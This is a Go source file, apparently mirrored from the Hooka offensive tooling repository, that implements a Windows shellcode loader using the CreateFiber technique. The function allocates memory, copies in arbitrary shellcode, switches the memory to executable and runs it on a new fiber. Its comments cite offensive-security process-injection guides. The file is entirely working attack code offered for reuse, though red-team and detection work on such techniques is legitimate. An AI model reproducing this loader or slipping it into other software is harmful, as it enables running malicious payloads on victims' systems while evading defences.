mirror of
https://github.com/D3Ext/Hooka
synced 2026-06-08 10:49:57 +00:00
d3ext
71 lines
1.4 KiB
Go
71 lines
1.4 KiB
Go
package shellcode
|
|
|
|
/*
|
|
|
|
References:
|
|
https://ired.team/offensive-security/code-injection-process-injection/executing-shellcode-with-createfiber
|
|
https://github.com/Ne0nd0g/go-shellcode/blob/master/cmd/CreateFiber/main.go
|
|
|
|
*/
|
|
|
|
import (
|
|
"errors"
|
|
"unsafe"
|
|
|
|
"golang.org/x/sys/windows"
|
|
)
|
|
|
|
const (
|
|
MEM_COMMIT = 0x1000
|
|
MEM_RESERVE = 0x2000
|
|
PAGE_EXECUTE_READ = 0x20
|
|
PAGE_READWRITE = 0x04
|
|
)
|
|
|
|
func Fibers(shellcode []byte) error {
|
|
kernel32 := windows.NewLazyDLL("kernel32.dll")
|
|
ntdll := windows.NewLazyDLL("ntdll.dll")
|
|
|
|
VirtualAlloc := kernel32.NewProc("VirtualAlloc")
|
|
VirtualProtect := kernel32.NewProc("VirtualProtect")
|
|
RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
|
|
ConvertThreadToFiber := kernel32.NewProc("ConvertThreadToFiber")
|
|
CreateFiber := kernel32.NewProc("CreateFiber")
|
|
SwitchToFiber := kernel32.NewProc("SwitchToFiber")
|
|
|
|
fiberAddr, _, _ := ConvertThreadToFiber.Call() // Convert thread to fiber
|
|
|
|
addr, _, _ := VirtualAlloc.Call(
|
|
0,
|
|
uintptr(len(shellcode)),
|
|
MEM_COMMIT|MEM_RESERVE,
|
|
PAGE_READWRITE,
|
|
)
|
|
|
|
if addr == 0 {
|
|
return errors.New("VirtualAlloc failed and returned 0")
|
|
}
|
|
|
|
RtlCopyMemory.Call(
|
|
addr,
|
|
(uintptr)(unsafe.Pointer(&shellcode[0])),
|
|
uintptr(len(shellcode)),
|
|
)
|
|
|
|
oldProtect := PAGE_READWRITE
|
|
VirtualProtect.Call(
|
|
addr,
|
|
uintptr(len(shellcode)),
|
|
PAGE_EXECUTE_READ,
|
|
uintptr(unsafe.Pointer(&oldProtect)),
|
|
)
|
|
|
|
fiber, _, _ := CreateFiber.Call(0, addr, 0)
|
|
|
|
SwitchToFiber.Call(fiber)
|
|
|
|
SwitchToFiber.Call(fiberAddr)
|
|
|
|
return nil
|
|
}
|